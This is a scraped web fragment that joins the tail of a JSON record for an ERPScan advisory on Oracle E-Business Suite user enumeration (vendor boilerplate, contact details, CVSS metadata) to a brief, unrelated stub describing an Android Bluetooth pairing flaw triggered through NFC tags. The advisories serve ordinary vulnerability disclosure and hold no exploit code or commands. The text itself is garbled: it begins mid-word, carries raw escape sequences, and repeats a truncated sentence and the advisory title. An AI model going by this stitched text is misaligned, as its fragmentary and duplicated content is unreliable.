of\r\nDuties.\r\nThe largest companies from diverse industries like oil and gas,\r\nbanking, retail, even nuclear power installations as well as\r\nconsulting companies have successfully deployed the software. ERPScan\r\nSecurity Monitoring Suite for SAP is specifically designed for\r\nenterprises to continuously monitor changes in multiple SAP systems.\r\nIt generates and analyzes trends in user friendly dashboards, manages\r\nrisks, tasks, and can export results to external systems. These\r\nfeatures enable central management of SAP system security with minimal\r\ntime and effort.\r\nWe follow the sun and function in two hubs located in the Netherlands\r\nand the US to operate local offices and partner network spanning 20+\r\ncountries around the globe. This enables monitoring cyber threats in\r\nreal time and providing agile customer support.\r\n\r\nAdress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301\r\nPhone: 650.798.5255\r\nTwitter: @erpscan\r\nScoop-it: Business Application Security\r\n\r\n", "edition": 1, "modified": "2015-11-02T00:00:00", "published": "2015-11-02T00:00:00", "id": "SECURITYVULNS:DOC:32656", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32656", "title": "[ERPSCAN-15-025] Oracle E-Business Suite Database user enumeration Vulnerability", "type": "securityvulns", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}]}

Android Bluetooth Pairing Packet Processing Vulnerability&#65288;by wangzq from NCNIPC&#65289;

Description

I. Summary Bluetooth Pairing Packet is written to a NFC tag, which can be touched by a NFC mobile phone for bluetooth pairing. A logic flaw has been found in some

versions of Andorid mobile phone. The flaw can cause NFC phones'bluetooth turned on, regardless of whether the pairing succeeds or not.

will be turned on automatically, regardless of whether the pairing succeeds or not.

Android Bluetooth Pairing Packet Processing Vulnerability（by wangzq from NCNIPC）